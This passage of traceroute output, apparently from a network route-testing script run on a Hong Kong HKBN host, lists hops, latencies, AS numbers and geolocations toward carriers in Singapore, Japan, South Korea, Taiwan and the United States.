    + 2  14.136.247.234  0.95 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.11 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.63  3.70 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  203.80.198.250  35.61 ms  AS9269  China Hong Kong hkbn.com.hk
    + 6  203.118.15.10  36.29 ms  AS4657  Singapore starhub.com
    + 7  203.117.35.74  39.37 ms  AS38861  Singapore starhub.com
    + 8  203.118.6.33  33.10 ms  AS4657  Singapore starhub.com
    + 9  203.118.16.30  35.82 ms  AS4657  Singapore starhub.com
    +10  203.117.188.42  36.42 ms  AS4657  Singapore starhub.com
    +11  *
    +12  *
    +13  *
    +14  *
    +15  *
    +16  *
    +17  *
    +18  *
    +19  *
    +20  *
    +21  *
    +22  *
    +23  *
    +24  *
    +25  *
    +26  *
    +27  *
    +28  *
    +29  *
    +30  *
    +
    +
    +Traceroute to Singapore, M1 (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 203.123.8.123 (203.123.8.123), 30 hops max, 60 byte packets
    + 1  59.148.21.1  0.09 ms  AS10103  China Hong Kong hkbn.com.hk
    + 2  14.136.247.234  0.93 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.11  0.67 ms  *  China Hong Kong hkbn.com.hk
    + 4  123.255.90.244  2.35 ms  AS135423  China Hong Kong hkix.net
    + 5  63.223.58.78  38.70 ms  AS3491  Singapore pccw.com
    + 6  63.223.58.78  39.48 ms  AS3491  Singapore pccw.com
    + 7  63.218.249.254  38.17 ms  AS3491,AS198148  Singapore pccw.com
    + 8  203.211.158.74  35.76 ms  AS17547  Singapore m1.com.sg
    + 9  203.211.159.50  37.18 ms  AS17547  Singapore m1.com.sg
    +10  203.123.8.123  37.08 ms  AS17547  Singapore m1.com.sg
    +
    +
    +Traceroute to Singapore, AWS (TCP Mode, Max 50 Hop)
    +============================================================
    +traceroute to 13.228.0.251 (13.228.0.251), 50 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.88 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.22 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.63  1.43 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  27.111.228.87  37.91 ms  *  Singapore equinix.com
    + 6  *
    + 7  *
    + 8  *
    + 9  52.93.11.57  34.36 ms  *  Singapore amazon.com
    +10  *
    +11  52.93.8.137  38.41 ms  *  Singapore amazon.com
    +12  203.83.223.194  37.01 ms  AS16509,AS38895  Singapore amazon.com
    +13  *
    +14  *
    +15  52.93.8.108  80.26 ms  *  Singapore amazon.com
    +16  *
    +17  *
    +18  52.93.8.27  77.80 ms  *  Singapore amazon.com
    +19  *
    +20  13.228.0.251  36.54 ms  AS16509  Singapore amazon.com
    +
    +
    +Traceroute to Japan, NTT (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 61.213.155.84 (61.213.155.84), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.96 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.43 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.69  1.34 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  203.131.254.133  2.51 ms  AS2914  China Hong Kong ntt.com
    + 6  129.250.5.178  49.14 ms  AS2914  NTT.COM BACKBONE ntt.com
    + 7  129.250.6.99  2.21 ms  AS2914  NTT.COM BACKBONE ntt.com
    + 8  129.250.2.50  53.57 ms  AS2914  Japan Tokyo ntt.com
    + 9  129.250.3.22  45.57 ms  AS2914  Japan Tokyo ntt.com
    +10  61.213.179.34  60.00 ms  AS2914  Japan Tokyo ntt.com
    +11  *
    +12  *
    +13  61.213.155.84  76.93 ms  AS2914  Japan Tokyo ntt.com
    +
    +
    +Traceroute to Japan, IIJ (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 202.232.15.70 (202.232.15.70), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.91 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.12 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.49  0.95 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  123.255.90.136  2.30 ms  AS135423  China Hong Kong hkix.net
    + 6  58.138.80.234  2.36 ms  AS2497  China Hong Kong iij.ad.jp
    + 7  58.138.81.173  54.08 ms  AS2497  Japan Tokyo iij.ad.jp
    + 8  58.138.101.14  54.34 ms  AS2497  Japan Tokyo iij.ad.jp
    + 9  210.130.142.114  54.88 ms  AS2497  Japan Tokyo iij.ad.jp
    +10  202.232.15.70  55.40 ms  AS2497  Japan iij.ad.jp
    +
    +
    +Traceroute to Japan, SoftBank (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 210.175.32.26 (210.175.32.26), 30 hops max, 60 byte packets
    + 1  59.148.21.1  0.09 ms  AS10103  China Hong Kong hkbn.com.hk
    + 2  14.136.247.234  0.90 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.08 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.65  1.50 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  203.80.64.202  1.96 ms  AS9269  China Hong Kong hkbn.com.hk
    + 6  *
    + 7  143.90.232.241  52.17 ms  AS4725  Japan Tokyo odn.ne.jp
    + 8  143.90.47.33  49.91 ms  AS4725  Japan odn.ne.jp
    + 9  143.90.164.254  49.55 ms  AS4725  Japan Kanagawa odn.ne.jp
    +10  143.90.54.30  50.34 ms  AS4725  Japan odn.ne.jp
    +11  210.175.32.123  50.50 ms  AS4725  Japan odn.ne.jp
    +12  210.175.32.26  50.48 ms  AS4725  Japan odn.ne.jp
    +
    +
    +Traceroute to Japan, KDDI (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 106.162.242.108 (106.162.242.108), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  2.88 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  3.32 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.65  1.33 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  203.80.64.254  66.42 ms  AS9269  China Hong Kong hkbn.com.hk
    + 6  27.85.136.65  67.84 ms  AS2516  Japan Tokyo kddi.com
    + 7  118.152.213.62  69.98 ms  AS2516  Japan kddi.com
    + 8  59.128.99.94  67.29 ms  AS2516  Japan kddi.com
    + 9  111.87.220.242  67.51 ms  AS2516  Japan kddi.com
    +10  111.87.220.242  68.19 ms  AS2516  Japan kddi.com
    +11  106.162.242.108  67.79 ms  AS2516  Japan kddi.com
    +
    +
    +Traceroute to Japan, China CT (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 203.215.236.3 (203.215.236.3), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  2.06 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.23 ms  *  China Hong Kong hkbn.com.hk
    + 4  14.136.142.14  1.32 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  203.215.232.85  6.64 ms  AS4134  China Hong Kong ChinaTelecom
    + 6  202.97.34.130  52.32 ms  AS4134  Japan Tokyo ChinaTelecom
    + 7  203.215.236.3  51.98 ms  AS4134  Japan Tokyo ChinaTelecom
    +
    +
    +Traceroute to Japan, China CT CN2 (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 202.55.27.4 (202.55.27.4), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.98 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.17 ms  *  China Hong Kong hkbn.com.hk
    + 4  14.136.142.14  1.30 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  202.97.122.109  6.39 ms  AS4134  China Guangdong Guangzhou ChinaTelecom
    + 6  59.43.244.225  3.39 ms  *  China Hong Kong ChinaTelecom
    + 7  59.43.249.81  50.94 ms  *  Japan Tokyo ChinaTelecom
    + 8  59.43.187.250  51.39 ms  *  Japan Tokyo ChinaTelecom
    + 9  202.55.27.4  50.85 ms  AS4809  Japan Tokyo ChinaTelecom
    +
    +
    +Traceroute to Japan, Amazon AWS (TCP Mode, Max 50 Hop)
    +============================================================
    +traceroute to 13.112.63.251 (13.112.63.251), 50 hops max, 60 byte packets
    + 1  59.148.21.1  0.10 ms  AS10103  China Hong Kong hkbn.com.hk
    + 2  14.136.247.234  1.12 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.36 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.65  1.25 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  52.46.167.214  0.81 ms  *  China Hong Kong amazon.com
    + 6  54.240.241.58  1.97 ms  *  China Hong Kong amazon.com
    + 7  54.240.241.103  1.03 ms  *  China Hong Kong amazon.com
    + 8  54.240.241.123  51.81 ms  *  China Hong Kong amazon.com
    + 9  *
    +10  *
    +11  52.95.31.33  51.64 ms  AS16509  Japan Tokyo amazon.com
    +12  52.95.31.185  51.20 ms  AS16509  Japan Tokyo amazon.com
    +13  52.95.31.206  53.41 ms  AS16509  Japan Tokyo amazon.com
    +14  52.95.31.100  51.88 ms  AS16509  Japan Tokyo amazon.com
    +15  54.239.52.185  52.22 ms  AS16509  Japan Tokyo amazon.com
    +16  *
    +17  *
    +18  *
    +19  *
    +20  *
    +21  13.112.63.251  51.56 ms  AS16509  Japan Tokyo amazon.com
    +
    +
    +Traceroute to South Korea, KT (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 210.114.41.101 (210.114.41.101), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.87 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  3.45 ms  *  China Hong Kong hkbn.com.hk
    + 4  14.136.142.18  1.34 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  121.189.2.141  56.85 ms  AS4766  China Hong Kong kt.com
    + 6  112.174.89.73  57.25 ms  AS4766  Republic of Korea Seoul kt.com
    + 7  112.174.84.53  58.31 ms  AS4766  Republic of Korea Seoul kt.com
    + 8  *
    + 9  112.174.61.98  61.72 ms  AS4766  Republic of Korea Seoul kt.com
    +10  112.188.245.210  58.39 ms  AS4766  Republic of Korea Seoul kt.com
    +11  220.90.203.6  58.05 ms  AS4766  Republic of Korea Seoul kt.com
    +12  211.37.137.22  58.16 ms  AS4766  Republic of Korea Seoul kt.com
    +13  210.114.41.101  58.79 ms  AS4766  Republic of Korea Seoul kt.com
    +
    +
    +Traceroute to South Korea, SK (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 175.122.253.62 (175.122.253.62), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.90 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.23 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.67  14.69 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  180.87.112.25  1.38 ms  AS6453  China Hong Kong tatacommunications.com
    + 6  116.0.67.111  159.81 ms  AS6453  Japan Tokyo tatacommunications.com
    + 7  120.29.211.3  915.11 ms  AS6453  Japan Chiba tatacommunications.com
    + 8  64.86.252.216  155.89 ms  AS6453  United States California Los Angeles tatacommunications.com
    + 9  64.86.252.66  155.08 ms  AS6453  United States California Los Angeles tatacommunications.com
    +10  206.82.129.247  166.54 ms  AS6453  United States California Los Angeles tatacommunications.com
    +11  58.229.14.157  157.46 ms  AS9318  Republic of Korea Seoul skbroadband.com
    +12  *
    +13  *
    +14  *
    +15  175.122.253.62  177.42 ms  AS9318  Republic of Korea skbroadband.com
    +
    +
    +Traceroute to South Korea, LG (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 211.174.62.44 (211.174.62.44), 30 hops max, 60 byte packets
    + 1  59.148.21.1  0.16 ms  AS10103  China Hong Kong hkbn.com.hk
    + 2  14.136.247.234  2.31 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.28 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.65  1.43 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  61.43.235.45  50.69 ms  AS3786  Republic of Korea uplus.co.kr
    + 6  1.213.145.117  72.45 ms  AS3786  Republic of Korea Seoul uplus.co.kr
    + 7  203.248.208.230  66.40 ms  AS3786  Republic of Korea Seoul uplus.co.kr
    + 8  210.120.197.182  67.48 ms  AS3786  Republic of Korea Seoul uplus.co.kr
    + 9  1.213.149.6  66.69 ms  AS3786  Republic of Korea Seoul uplus.co.kr
    +10  61.111.0.154  67.93 ms  AS3786  Republic of Korea Seoul uplus.co.kr
    +11  114.108.170.54  68.87 ms  AS3786  Republic of Korea Seoul uplus.co.kr
    +12  211.174.62.44  73.73 ms  AS3786  Republic of Korea Seoul uplus.co.kr
    +
    +
    +Traceroute to South Korea, China CT CN2 (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 218.185.246.12 (218.185.246.12), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  1.39 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.48 ms  *  China Hong Kong hkbn.com.hk
    + 4  14.136.142.14  1.36 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  202.97.122.109  3.90 ms  AS4134  China Guangdong Guangzhou ChinaTelecom
    + 6  59.43.244.225  3.26 ms  *  China Hong Kong ChinaTelecom
    + 7  59.43.249.17  3.44 ms  *  China Hong Kong ChinaTelecom
    + 8  59.43.247.54  52.95 ms  *  Republic of Korea Seoul ChinaTelecom
    + 9  59.43.184.10  53.73 ms  *  Republic of Korea Seoul ChinaTelecom
    +10  *
    +11  *
    +12  *
    +13  *
    +14  *
    +15  *
    +16  *
    +17  *
    +18  *
    +19  *
    +20  *
    +21  *
    +22  *
    +23  *
    +24  *
    +25  *
    +26  *
    +27  *
    +28  *
    +29  *
    +30  *
    +
    +
    +Traceroute to South Korea, Amazon AWS (TCP Mode, Max 50 Hop)
    +============================================================
    +traceroute to 13.124.63.251 (13.124.63.251), 50 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.95 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  3.33 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.63  1.27 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  210.173.176.198  49.76 ms  AS7521  Japan Tokyo mfeed.ad.jp
    + 6  *
    + 7  *
    + 8  54.239.52.105  50.55 ms  AS16509  Japan Tokyo amazon.com
    + 9  *
    +10  *
    +11  *
    +12  *
    +13  52.93.248.196  79.38 ms  *  Republic of Korea Seoul amazon.com
    +14  54.239.123.48  81.27 ms  AS16509  Republic of Korea Seoul amazon.com
    +15  52.93.248.230  79.73 ms  *  Republic of Korea Seoul amazon.com
    +16  54.239.122.28  80.44 ms  AS16509  Republic of Korea Seoul amazon.com
    +17  54.239.122.243  80.62 ms  AS16509  Republic of Korea Seoul amazon.com
    +18  54.239.122.28  80.66 ms  AS16509  Republic of Korea Seoul amazon.com
    +19  *
    +20  13.124.63.251  80.19 ms  AS16509  Republic of Korea Seoul amazon.com
    +
    +
    +Traceroute to China, Taiwan Chief (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 202.133.242.116 (202.133.242.116), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.93 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.11  0.62 ms  *  China Hong Kong hkbn.com.hk
    + 4  123.255.91.195  24.26 ms  AS135423  China Hong Kong hkix.net
    + 5  *
    + 6  *
    + 7  113.21.95.72  24.51 ms  AS17408  China Taiwan Taipei City chief.com.tw
    + 8  *
    + 9  202.133.242.114  24.90 ms  AS17408  China Taiwan Taipei City chief.com.tw
    +10  202.133.242.116  24.97 ms  AS17408  China Taiwan Taipei City chief.com.tw
    +
    +
    +Traceroute to China, Taiwan APTG (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 210.200.69.90 (210.200.69.90), 30 hops max, 60 byte packets
    + 1  59.148.21.1  0.10 ms  AS10103  China Hong Kong hkbn.com.hk
    + 2  14.136.247.234  0.88 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.11  0.62 ms  *  China Hong Kong hkbn.com.hk
    + 4  123.255.91.131  2.92 ms  AS135423  China Hong Kong hkix.net
    + 5  175.41.60.57  25.01 ms  AS9505  China Taiwan Taipei City twgate.net
    + 6  175.41.58.146  27.24 ms  AS9505  China Taiwan Taipei City twgate.net
    + 7  203.78.187.78  21.68 ms  AS9505  China Taiwan Taipei City twgate.net
    + 8  211.76.96.76  21.54 ms  AS17709  China Taiwan Taipei City aptg.com.tw
    + 9  211.76.100.61  20.58 ms  AS17709  China Taiwan Taipei City aptg.com.tw
    +10  210.200.80.254  22.76 ms  AS131142  China Taiwan Taipei City aptg.com.tw
    +11  *
    +12  210.200.69.90  27.89 ms  AS131142  China Taiwan Taipei City aptg.com.tw
    +
    +
    +Traceroute to China, Taiwan CHT (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 203.75.129.162 (203.75.129.162), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.98 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.19 ms  *  China Hong Kong hkbn.com.hk
    + 4  14.136.142.14  1.46 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  211.22.33.86  16.71 ms  AS3462  China Hong Kong cht.com.tw
    + 6  220.128.6.2  23.86 ms  AS3462  China Taiwan Taipei City cht.com.tw
    + 7  220.128.1.238  26.55 ms  AS3462  China Taiwan Taipei City cht.com.tw
    + 8  220.128.1.225  26.51 ms  AS3462  China Taiwan Taipei City cht.com.tw
    + 9  211.22.229.45  27.08 ms  AS3462  China Taiwan Taipei City cht.com.tw
    +10  1.1.1.2  27.02 ms  AS13335  CLOUDFLARE.COM apnic.net
    +11  *
    +12  203.75.129.162  21.69 ms  AS3462  China Taiwan Taipei City cht.com.tw
    +
    +
    +Traceroute to China, Taiwan TFN (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 219.87.66.3 (219.87.66.3), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.90 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.15 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.63  1.38 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  219.80.240.157  1.34 ms  AS9924  China Taiwan twmbroadband.com
    + 6  60.199.3.61  22.94 ms  AS9924  China Taiwan Taipei City twmbroadband.com
    + 7  60.199.4.150  26.90 ms  AS9924  China Taiwan Taipei City twmbroadband.com
    + 8  60.199.3.126  27.17 ms  AS9924  China Taiwan Taipei City twmbroadband.com
    + 9  60.199.16.62  23.51 ms  AS9924  China Taiwan Taipei City twmbroadband.com
    +10  219.87.66.3  26.74 ms  AS9924  China Taiwan Taipei City twmbroadband.com
    +
    +
    +Traceroute to China,Taiwan FET (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 211.73.144.38 (211.73.144.38), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.91 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  3.97 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.63  1.36 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  203.80.64.198  2.24 ms  AS9269  China Hong Kong hkbn.com.hk
    + 6  192.72.107.153  4.15 ms  AS4780  China Hong Kong fetnet.net
    + 7  139.175.58.113  19.90 ms  AS4780  China Taiwan Taipei City fetnet.net
    + 8  192.72.113.94  26.46 ms  AS4780  China Taiwan Taipei City fetnet.net
    + 9  *
    +10  10.1.255.66  30.69 ms  *  LAN Address
    +11  10.1.255.66  33.46 ms  *  LAN Address
    +12  211.73.144.38  32.33 ms  AS9674  China Taiwan fetnet.net
    +
    +
    +Traceroute to China, Taiwan KBT (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 61.63.0.102 (61.63.0.102), 30 hops max, 60 byte packets
    + 1  59.148.21.1  0.11 ms  AS10103  China Hong Kong hkbn.com.hk
    + 2  14.136.247.234  1.65 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.11  0.64 ms  *  China Hong Kong hkbn.com.hk
    + 4  123.255.91.131  2.86 ms  AS135423  China Hong Kong hkix.net
    + 5  175.41.60.53  25.02 ms  AS9505  China Taiwan Taipei City twgate.net
    + 6  175.41.61.182  25.13 ms  AS9505  China Taiwan Taipei City twgate.net
    + 7  175.41.61.182  30.08 ms  AS9505  China Taiwan Taipei City twgate.net
    + 8  203.187.9.241  23.23 ms  AS9416  China Taiwan Taipei City kbtelecom.net
    + 9  203.187.9.241  24.89 ms  AS9416  China Taiwan Taipei City kbtelecom.net
    +10  203.187.9.238  53.51 ms  AS9416  China Taiwan Taipei City kbtelecom.net
    +11  58.86.0.94  22.98 ms  AS18042  China Taiwan Taipei City kbtelecom.net
    +12  58.86.0.26  23.27 ms  AS18042  China Taiwan Taipei City kbtelecom.net
    +13  61.63.0.102  23.70 ms  AS18042  China Taiwan Taipei City kbtelecom.net
    +
    +
    +Traceroute to China, Taiwan TAIFO (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 103.31.196.203 (103.31.196.203), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  1.09 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.11  0.62 ms  *  China Hong Kong hkbn.com.hk
    + 4  123.255.91.195  24.60 ms  AS135423  China Hong Kong hkix.net
    + 5  *
    + 6  *
    + 7  113.21.95.123  24.28 ms  AS17408  China Taiwan Taipei City chief.com.tw
    + 8  *
    + 9  103.31.197.122  25.00 ms  AS131584  China Taiwan Taipei City taifo.com.tw
    +10  *
    +11  103.31.197.70  24.73 ms  AS131584  China Taiwan Taipei City taifo.com.tw
    +12  103.31.196.203  24.25 ms  AS131584  China Taiwan Taipei City taifo.com.tw
    +
    +
    +Traceroute to United States, Los Angeles China CT (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 218.30.33.17 (218.30.33.17), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  2.45 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.11 ms  *  China Hong Kong hkbn.com.hk
    + 4  14.136.142.14  1.46 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  203.215.232.85  7.08 ms  AS4134  China Hong Kong ChinaTelecom
    + 6  202.97.27.186  162.82 ms  AS4134  United States California San Jose ChinaTelecom
    + 7  218.30.33.17  226.08 ms  AS4134  United States ctamericas.com
    +
    +
    +Traceroute to United States, Los Angeles China CT CN2 (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 66.102.252.100 (66.102.252.100), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  1.55 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.10 ms  *  China Hong Kong hkbn.com.hk
    + 4  14.136.142.14  1.35 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  202.97.122.109  3.55 ms  AS4134  China Guangdong Guangzhou ChinaTelecom
    + 6  59.43.244.225  3.40 ms  *  China Hong Kong ChinaTelecom
    + 7  59.43.189.22  175.28 ms  *  United States California San Jose ChinaTelecom
    + 8  59.43.189.17  169.50 ms  *  United States California San Jose ChinaTelecom
    + 9  59.43.186.214  176.55 ms  *  United States California Los Angeles ChinaTelecom
    +10  66.102.252.100  175.79 ms  AS4809  United States ctamericas.com
    +
    +
    +Traceroute to United States, Los Angeles PCCW (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 63.218.42.81 (63.218.42.81), 30 hops max, 60 byte packets
    + 1  59.148.21.1  0.10 ms  AS10103  China Hong Kong hkbn.com.hk
    + 2  14.136.247.234  1.73 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.16 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.69  6.46 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  134.159.128.9  2.61 ms  AS4637,AS10026  China Hong Kong telstra.com
    + 6  202.84.153.53  4.15 ms  AS4637,AS10026  China Hong Kong telstra.com
    + 7  202.84.140.2  148.56 ms  AS4637,AS10026  United States California San Jose telstra.com
    + 8  202.84.247.17  146.40 ms  AS4637,AS10026  United States California San Jose telstra.com
    + 9  134.159.61.78  164.79 ms  AS4637,AS10026  United States telstra.com
    +10  63.218.42.81  156.23 ms  AS3491  United States California Los Angeles pccw.com
    +
    +
    +Traceroute to United States, Los Angeles HE (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 66.220.18.42 (66.220.18.42), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  1.01 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.12  11.78 ms  *  China Hong Kong hkbn.com.hk
    + 4  123.255.91.158  1.62 ms  AS135423  China Hong Kong hkix.net
    + 5  184.105.64.125  166.72 ms  AS6939  United States California Los Angeles he.net
    + 6  72.52.92.121  155.01 ms  AS6939  United States California Los Angeles he.net
    + 7  66.220.18.42  160.64 ms  AS6939  United States California Los Angeles he.net
    +
    +
    +Traceroute to United States, Los Angeles GTT (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 173.205.77.98 (173.205.77.98), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.98 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  5.22 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.67  8.60 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  103.232.19.93  1.32 ms  AS3257  China Hong Kong gtt.net
    + 6  89.149.182.162  149.96 ms  AS3257  United States California Los Angeles gtt.net
    + 7  173.205.77.98  147.59 ms  AS3257  United States California Los Angeles gtt.net
    +
    +
    +Traceroute to United States, San Fransico ATT (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 12.169.215.33 (12.169.215.33), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  2.46 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.28 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.69  1.40 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  154.18.8.41  2.24 ms  AS174  China Hong Kong cogentco.com
    + 6  154.54.87.121  135.37 ms  AS174  United States Oregon Portland cogentco.com
    + 7  154.54.31.77  139.06 ms  AS174  COGENTCO.COM BACKBONE cogentco.com
    + 8  154.54.11.106  152.86 ms  AS174  COGENTCO.COM BACKBONE cogentco.com
    + 9  12.122.158.134  172.71 ms  AS7018  United States Washington Seattle att.com
    +10  12.122.158.185  159.30 ms  AS7018  United States Oregon Portland att.com
    +11  12.122.30.141  171.64 ms  AS7018  United States California att.com
    +12  12.122.28.178  166.67 ms  AS7018  United States California San Francisco att.com
    +13  12.122.110.13  172.58 ms  AS7018  United States California att.com
    +14  12.244.156.30  174.51 ms  AS7018  United States California att.com
    +15  12.169.215.33  174.39 ms  AS7018  United States California att.com
    +
    +
    +Traceroute to United States, New York TATA (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 66.198.181.100 (66.198.181.100), 30 hops max, 60 byte packets
    + 1  59.148.21.1  0.11 ms  AS10103  China Hong Kong hkbn.com.hk
    + 2  14.136.247.234  1.04 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.20 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.67  1.56 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  116.0.67.165  1.37 ms  AS6453  China Hong Kong tatacommunications.com
    + 6  *
    + 7  209.58.86.142  228.09 ms  AS6453  United States California Santa Clara tatacommunications.com
    + 8  209.58.86.142  217.43 ms  AS6453  United States California Santa Clara tatacommunications.com
    + 9  63.243.205.74  224.14 ms  AS6453  United States California San Jose tatacommunications.com
    +10  63.243.128.30  226.51 ms  AS6453  United States New York New York City tatacommunications.com
    +11  216.6.90.73  218.81 ms  AS6453  United States New York New York City tatacommunications.com
    +12  216.6.90.73  220.12 ms  AS6453  United States New York New York City tatacommunications.com
    +13  66.198.181.100  225.35 ms  AS6453  United States New York New York City tatacommunications.com
    +
    +
    +Traceroute to United States, San Jose China CT (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 218.30.33.17 (218.30.33.17), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.88 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  7.73 ms  *  China Hong Kong hkbn.com.hk
    + 4  14.136.142.14  1.58 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  203.215.232.85  8.35 ms  AS4134  China Hong Kong ChinaTelecom
    + 6  202.97.27.186  155.69 ms  AS4134  United States California San Jose ChinaTelecom
    + 7  218.30.33.17  227.64 ms  AS4134  United States ctamericas.com
    +
    +
    +Traceroute to United States, San Jose NTT (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 23.11.26.62 (23.11.26.62), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  1.02 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  5.05 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.69  1.46 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  203.131.254.133  2.20 ms  AS2914  China Hong Kong ntt.com
